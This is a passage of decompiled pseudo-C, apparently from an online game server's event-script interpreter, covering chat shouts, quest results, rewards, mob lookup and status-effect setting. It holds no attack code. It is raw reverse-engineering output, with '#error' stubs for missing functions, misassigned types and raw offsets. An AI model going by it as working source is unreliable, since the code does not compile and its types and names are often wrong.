clockwatch.cw_CurrTick; v16 = PineScriptToken::pst_GetNumber(&second, 0); v36 = &trc_eol; ps->ps_Shine.node = (PineEventScriptNode::ScriptAtom *)(v15 + 600 * v16); v35 = (MobTacticElement::MobActionArgument *)" Minute"; v34 = (MobTacticElement::MobActionArgument *)&second; LABEL_15: v21 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, v34); v22 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v21, v35); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v22, v36); v23 = (DiceTaiSaiDividind *)&second; LABEL_20: LOBYTE(v44) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut(v23); LOBYTE(v44) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); LOBYTE(v44) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); LABEL_21: if ( ps->ps_Shine.node < (PineEventScriptNode::ScriptAtom *)clockwatch.cw_CurrTick ) { PineScriptStack::ProcessStack::ps_Pop(ps); goto LABEL_26; } --funcallanalizer.fca_stackpoint; v44 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_5B3CDC); LABEL_27: __security_check_cookie(cookie); return result; } //----- (004AFFA0) -------------------------------------------------------- #error "4AFFA0: undefined or illegal type '#331' (funcsize=123)" //----- (004B0180) -------------------------------------------------------- #error "4B0180: undefined or illegal type '#331' (funcsize=123)" //----- (004B0360) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineSomeoneShout::sa_Step(PineEventScriptNode::ShineSomeoneShout *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineSomeoneShout *v4; // esi@1 signed int v5; // edi@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 MobTacticElement::MobActionBase *v9; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v10; // eax@1 PineEventScriptNode::Express *v11; // esi@3 PineEventScriptNode::ScriptAtomVtbl *v12; // eax@3 ShineScript *v13; // esi@5 char *v14; // eax@6 const char *v15; // eax@6 ShineScript *v16; // esi@6 const char *v17; // edi@6 char *v18; // eax@6 const char *v19; // esi@6 char *v20; // ebp@6 char v21; // al@6 Movie::Theater *v22; // ecx@6 MobTacticElement::MobActionBase *v23; // eax@7 MobTacticElement::MobActionBase *v24; // eax@7 MobTacticElement::MobActionBase *v25; // eax@7 unsigned __int16 result; // ax@8 char *v27; // [sp-4h] [bp-238h]@2 AxialListPacketBroadcast alchat; // [sp+14h] [bp-220h]@6 FunctionEntarance _; // [sp+20h] [bp-214h]@1 PineScriptToken chatername; // [sp+24h] [bp-210h]@1 PineScriptToken chat; // [sp+124h] [bp-110h]@3 unsigned int v32; // [sp+224h] [bp-10h]@8 int v33; // [sp+230h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineSomeoneShout::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineSomeoneShout::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineSomeoneShout::sa_Step"; v5 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v33 = 0; v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v7 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v6, (MobTacticElement::MobActionArgument *)exechandle); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &stru_59CBB8); v9 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, "ShineSomeoneShout"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v9, &trc_eol); PineScriptToken::pst_Clear(&chatername); v10 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v33) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v10->sa_Calculate)(&chatername, ps) != 0 ) { PineScriptToken::pst_Clear(&chat); v11 = v4->baseclass_0.os_Express[1]; v12 = v11->baseclass_0.vfptr; LOBYTE(v33) = 2; if ( (int)v12->sa_Calculate((PineEventScriptNode::ScriptAtom *)v11, &chat, ps) != 0 ) { v13 = *(ShineScript **)&ps->gap10114[28]; if ( v13 ) { MoveManager::MoveManager((DiceTaiSai *)&chatername); v15 = ShineScript::ss_String(v13, v14); v16 = *(ShineScript **)&ps->gap10114[28]; v17 = v15; MoveManager::MoveManager((DiceTaiSai *)&chat); v19 = ShineScript::ss_String(v16, v18); v20 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 8223; v20[16] &= 0xFEu; *((_DWORD *)v20 + 3) = 0; *((_DWORD *)v20 + 2) = 0; *((_DWORD *)v20 + 1) = 0; *(_DWORD *)v20 = 0; strncpy(v20, v17, 0x10u); v21 = strlen(v19); v20[17] = v21; memcpy(v20 + 18, v19, (unsigned __int8)v21); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, (unsigned __int8)v20[17] + 20); v22 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v33) = 3; Movie::Theater::t_AllInMap(v22, &alchat.baseclass_0); LOBYTE(v33) = 2; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v5 = -1; } v23 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&chatername); v24 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v23, &stru_5A89E0); v25 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v24, (MobTacticElement::MobActionArgument *)&chat); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v25, &trc_eol); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v33) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chat); LOBYTE(v33) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chatername); v27 = "PineEventScriptNode::ShineSomeoneShout::sa_Step"; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChat::sa_Step : Null chat", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v33) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chat); LOBYTE(v33) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chatername); v27 = "PineEventScriptNode::ShineSomeoneShout::sa_Step"; } } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChat::sa_Step : Null body", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v33) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chatername); v27 = "PineEventScriptNode::ShineSomeoneShout::sa_Step"; } --funcallanalizer.fca_stackpoint; v33 = v5; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v27); __security_check_cookie(v32); return result; } //----- (004B0670) -------------------------------------------------------- #error "4B0670: undefined or illegal type '#331' (funcsize=187)" //----- (004B0950) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineQuestResult::sa_Step(PineEventScriptNode::ShineQuestResult *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineQuestResult *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineScriptToken *v9; // eax@1 PineScriptToken *v10; // eax@1 AxialListIteratorVtbl *v11; // edi@2 void *v12; // ecx@2 void *v13; // ecx@9 unsigned __int16 result; // ax@11 int v15; // [sp-8h] [bp-130h]@4 int v16; // [sp-4h] [bp-12Ch]@2 AxialListKQEnd alps; // [sp+8h] [bp-120h]@2 FunctionEntarance _; // [sp+14h] [bp-114h]@1 PineScriptToken tkn; // [sp+18h] [bp-110h]@1 unsigned int v20; // [sp+118h] [bp-10h]@11 int v21; // [sp+124h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineQuestResult::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineQuestResult::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineQuestResult::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v21 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineQuestResult"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &trc_eol); PineScriptToken::pst_Clear(&tkn); LOBYTE(v21) = 1; v9 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v10 = PineScriptToken::pst_ToLower(v9); if ( PineScriptToken::operator__(v10, index_suc.pst_Buffer) ) { AxialListProtocolSend::AxialListProtocolSend(&alps.baseclass_0, 22, 18); v11 = (AxialListIteratorVtbl *)&AxialListKQEnd::_vftable_; alps.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQEnd::_vftable_; v12 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v21) = 2; v16 = 0; if ( !v12 ) { AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); goto LABEL_9; } v15 = (int)&alps; } else { AxialListProtocolSend::AxialListProtocolSend(&alps.baseclass_0, 22, 19); v11 = (AxialListIteratorVtbl *)&AxialListKQEnd::_vftable_; alps.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQEnd::_vftable_; v12 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v21) = 3; v16 = 0; if ( !v12 ) { AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); goto LABEL_9; } v15 = (int)&alps; } ShineObjectClass::ShineObject::so_AllInMap(v12, v15, v16); LABEL_9: LOBYTE(v21) = 1; alps.baseclass_0.baseclass_0.vfptr = v11; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alps); v13 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77280); if ( v13 ) FieldMap::fm_ClearObject(v13, 0x1B0u); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v21) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineQuestResult::sa_Step"); __security_check_cookie(v20); return result; } // 5B2F90: using guessed type int (__thiscall *AxialListKQEnd___vftable_)(AxialListProtocolSend *this, #331 *, #331 *, int distancesquar); //----- (004B0B80) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineReward::sa_Step(PineEventScriptNode::ShineReward *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineReward *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineScriptToken *v9; // eax@1 PineScriptToken *v10; // eax@1 int v11; // eax@2 unsigned int v12; // eax@3 void *v13; // ecx@7 unsigned __int16 result; // ax@11 AxialListKQReward alkqr; // [sp+8h] [bp-120h]@7 FunctionEntarance _; // [sp+14h] [bp-114h]@1 PineScriptToken tkn; // [sp+18h] [bp-110h]@1 unsigned int v18; // [sp+118h] [bp-10h]@11 int v19; // [sp+124h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineReward::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineEventScriptNode::ShineReward::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineReward::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineReward"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &trc_eol); PineScriptToken::pst_Clear(&tkn); LOBYTE(v19) = 1; v9 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v10 = PineScriptToken::pst_ToLower(v9); if ( PineScriptToken::operator__(v10, index_kq.pst_Buffer) ) { v11 = *(_DWORD *)(*(_DWORD *)&ps->gap10114[4] + 77280); if ( v11 ) v12 = *(_DWORD *)(v11 + 60); else v12 = -1; if ( v12 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineEventReward::sa_Step : No KQ info", 0); } else { AxialListKQReward::AxialListKQReward(&alkqr, v12); v13 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v19) = 2; if ( v13 ) ShineObjectClass::ShineObject::so_AllInMap(v13, (int)&alkqr, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v19) = 1; alkqr.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQReward::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alkqr); } } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v19) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineReward::sa_Step"); __security_check_cookie(v18); return result; } // 5B2F8C: using guessed type int (__stdcall *AxialListKQReward___vftable_)(int, int, int distancesquar); //----- (004B0D70) -------------------------------------------------------- #error "4B0D70: undefined or illegal type '#331' (funcsize=205)" //----- (004B10B0) -------------------------------------------------------- #error "4B10B0: undefined or illegal type '#331' (funcsize=280)" //----- (004B1530) -------------------------------------------------------- #error "4B1530: undefined or illegal type '#331' (funcsize=272)" //----- (004B1950) -------------------------------------------------------- #error "4B1950: undefined or illegal type '#331' (funcsize=121)" //----- (004B1B20) -------------------------------------------------------- #error "4B1B20: undefined or illegal type '#331' (funcsize=36)" //----- (004B1BD0) -------------------------------------------------------- #error "4B1BD0: undefined or illegal type '#331' (funcsize=178)" //----- (004B1E70) -------------------------------------------------------- #error "4B1E70: undefined or illegal type '#331' (funcsize=110)" //----- (004B2020) -------------------------------------------------------- #error "4B2020: undefined or illegal type '#331' (funcsize=181)" //----- (004B22D0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineFindHandle::sa_Step(PineEventScriptNode::ShineFindHandle *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineFindHandle *v4; // esi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineScriptToken *v9; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v10; // edx@3 int v11; // edi@6 unsigned __int16 v12; // si@6 const char *v13; // eax@7 unsigned int v14; // eax@7 PineEventScriptNode::ScriptAtomVtbl *v15; // edx@9 int v16; // eax@11 Movie::Theater *v17; // ecx@11 int v18; // ST10_4@11 PineScriptToken *v19; // eax@11 unsigned __int16 result; // ax@13 PineScriptToken *variable; // [sp+14h] [bp-338h]@1 PineEventScriptNode::ShineFindHandle *v22; // [sp+18h] [bp-334h]@1 int (__stdcall **almf)(int, int, int); // [sp+1Ch] [bp-330h]@11 unsigned __int16 v24; // [sp+22h] [bp-32Ah]@11 FunctionEntarance _; // [sp+30h] [bp-31Ch]@1 PineScriptToken mobname; // [sp+34h] [bp-318h]@3 PineScriptToken tkn; // [sp+134h] [bp-218h]@9 PineScriptToken smobname; // [sp+234h] [bp-118h]@5 unsigned int cookie; // [sp+338h] [bp-14h]@13 int v30; // [sp+348h] [bp-4h]@1 v4 = this; v22 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineFindHandle::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineFindHandle::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineFindHandle::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v30 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineFindHandle"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &trc_eol); v9 = PineEventScriptNode::Identify::i_GetVariable(&v4->baseclass_0.os_Ident, ps); variable = v9; if ( v9 != 0 ) { PineScriptToken::pst_Clear(&mobname); v10 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v30) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v10->sa_Calculate)(&mobname, ps) != 0 ) { memcpy(&smobname, &mobname, sizeof(smobname)); LOBYTE(v30) = 2; PineScriptToken::pst_ToLower(&smobname); if ( PineScriptToken::operator__(&smobname, index_ply.pst_Buffer) ) { v11 = 2; v12 = -1; } else { v11 = 5; MoveManager::MoveManager((DiceTaiSai *)&mobname); v14 = BTree::operator__(&mobdatabox.mdb_btree, v13); v12 = -1; if ( v14 != -1 ) v12 = v14; } PineScriptToken::pst_Clear(&tkn); v15 = v22->baseclass_0.os_Express[1]->baseclass_0.vfptr; LOBYTE(v30) = 3; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v15->sa_Calculate)(&tkn, ps) != 0 ) { v16 = PineScriptToken::pst_GetNumber(&tkn, 0); AxialListMobFind::AxialListMobFind((AxialListMobFind *)&almf, v12, v11, v16); v17 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v30) = 4; Movie::Theater::t_AllInMap(v17, (AxialListIterator *)&almf); v18 = v24; v19 = PineScriptToken::pst_Clear(variable); PineScriptToken::pst_MergeNumber(v19, v18); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v30) = 3; almf = &AxialListMobFind::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almf); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step : no skip", 0); PineScriptStack::ProcessStack::ps_Pop(ps); } LOBYTE(v30) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); LOBYTE(v30) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&smobname); LOBYTE(v30) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobname); v30 = -1; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step : no mob", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v30) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobname); v30 = -1; } } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step", v9 != 0); PineScriptStack::ProcessStack::ps_Pop(ps); v30 = -1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineFindHandle::sa_Step"); __security_check_cookie(cookie); return result; } // 59FF0C: using guessed type int (__stdcall *AxialListMobFind___vftable_)(int, int, int distancesquar); //----- (004B25D0) -------------------------------------------------------- #error "4B25D0: undefined or illegal type '#331' (funcsize=23)" //----- (004B2610) -------------------------------------------------------- #error "4B2610: undefined or illegal type '#331' (funcsize=16)" //----- (004B2640) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineAbstatSet::sa_Step(PineEventScriptNode::ShineAbstatSet *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineAbstatSet *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 MobTacticElement::MobActionBase *v9; // eax@3 const char *v10; // eax@3 unsigned int v11; // ebp@3 int v12; // eax@4 MobTacticElement::MobActionBase *v13; // eax@6 int v14; // eax@6 int v15; // ebx@10 MobTacticElement::MobActionBase *v16; // eax@10 MobTacticElement::MobActionBase *v17; // eax@10 PineEventScriptNode::Express *v18; // eax@11 int v19; // eax@12 unsigned __int16 v20; // ax@13 void *v21; // eax@13 AxialListIterator *v22; // ecx@16 PineScriptToken *v23; // eax@18 const char *v24; // eax@18 unsigned __int16 v25; // ax@18 #331 *v26; // edi@19 Movie::Theater *v27; // ecx@21 unsigned __int16 result; // ax@26 const char *v29; // [sp+0h] [bp-264h]@5 char *v30; // [sp+4h] [bp-260h]@2 int v31; // [sp+4h] [bp-260h]@4 int strength; // [sp+18h] [bp-24Ch]@6 AbnormalStateDictionary::AbState::AbStateStr *dic; // [sp+1Ch] [bp-248h]@10 FunctionEntarance _; // [sp+20h] [bp-244h]@1 AxialListMobStateSet almss; // [sp+24h] [bp-240h]@11 AxialListIterator ali; // [sp+3Ch] [bp-228h]@21 PineScriptToken tkn; // [sp+54h] [bp-210h]@1 PineScriptToken thisa; // [sp+154h] [bp-110h]@10 unsigned int v39; // [sp+254h] [bp-10h]@26 int v40; // [sp+260h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineAbstatSet::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineAbstatSet::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineAbstatSet::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v40 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineAbstatSet"); PineScriptToken::pst_Clear(&tkn); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v40) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&tkn, ps) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step : no skip", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v40) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v40 = -1; v30 = "PineEventScriptNode::ShineAbstatSet::sa_Step"; LABEL_25: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v30); goto LABEL_26; } v9 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_598DE4); MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v9, (MobTacticElement::MobActionArgument *)&tkn); MoveManager::MoveManager((DiceTaiSai *)&tkn); v11 = BTree::operator__(&unk_608A28, v10); if ( v11 == -1 ) goto LABEL_9; v12 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v31 = 0; if ( v12 == 0 ) { v29 = "PineEventScriptNode::ShineFindHandle::sa_Step : no skip"; LABEL_8: AssertClass::ac_AssertFail(&shineassert, v29, v31); LABEL_9: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v40) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v40 = -1; LABEL_24: v30 = "PineEventScriptNode::ShineAbstatSet::sa_Step"; goto LABEL_25; } strength = PineScriptToken::pst_GetNumber(&tkn, 0); v13 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_598DE4); MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v13, (MobTacticElement::MobActionArgument *)&tkn); v14 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[2]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v31 = 0; if ( v14 == 0 ) { v29 = "PineEventScriptNode::ShineFindHandle::sa_Step : no keep"; goto LABEL_8; } v15 = PineScriptToken::pst_GetNumber(&tkn, 0); v16 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_598DE4); v17 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v16, (MobTacticElement::MobActionArgument *)&tkn); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v17, &trc_eol); dic = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, (AbnormalStateInfo::ABSTATEINDEX)v11); PineScriptToken::pst_Clear(&thisa); LOBYTE(v40) = 2; PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &thisa, ps); PineScriptToken::pst_ToLower(&thisa); if ( !PineScriptToken::operator__(&thisa, index_all.pst_Buffer) ) { v23 = PineEventScriptNode::Identify::i_GetVariable(&v4->baseclass_0.os_Ident, ps); MoveManager::MoveManager((DiceTaiSai *)v23); v25 = MobDataBox::mdb_2MobID(&mobdatabox, v24); if ( v25 == -1 ) { v26 = PineEventScriptNode::OtherStatement::os_ShineObject(&v4->baseclass_0, ps); if ( !v26 ) { LABEL_23: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v40) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); LOBYTE(v40) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v40 = -1; goto LABEL_24; } AxialListMobStateSet::AxialListMobStateSet( &almss, 0xFFFFu, (AbnormalStateInfo::ABSTATEINDEX)v11, strength, dic, v15); LOBYTE(v40) = 4; AxialListMobStateSet::almss_AbStateSet(&almss, v26); almss.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobStateSet::_vftable_; v22 = (AxialListIterator *)&almss; } else { AxialListMobStateSet::AxialListMobStateSet( (AxialListMobStateSet *)&ali, v25, (AbnormalStateInfo::ABSTATEINDEX)v11, strength, dic, v15); v27 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v40) = 5; Movie::Theater::t_AllInMap(v27, &ali); ali.vfptr = (AxialListIteratorVtbl *)&AxialListMobStateSet::_vftable_; v22 = &ali; } LABEL_22: LOBYTE(v40) = 2; AxialListWall::_AxialListWall((AxialListMobKillLog *)v22); goto LABEL_23; } AxialListPlayerStateSet::AxialListPlayerStateSet( (AxialListPlayerStateSet *)&almss, (AbnormalStateInfo::ABSTATEINDEX)v11, strength, dic, v15); v18 = v4->baseclass_0.os_Express[3]; LOBYTE(v40) = 3; if ( !v18 ) { Movie::Theater::t_AllInMap(*(Movie::Theater **)&ps->gap10114[4], 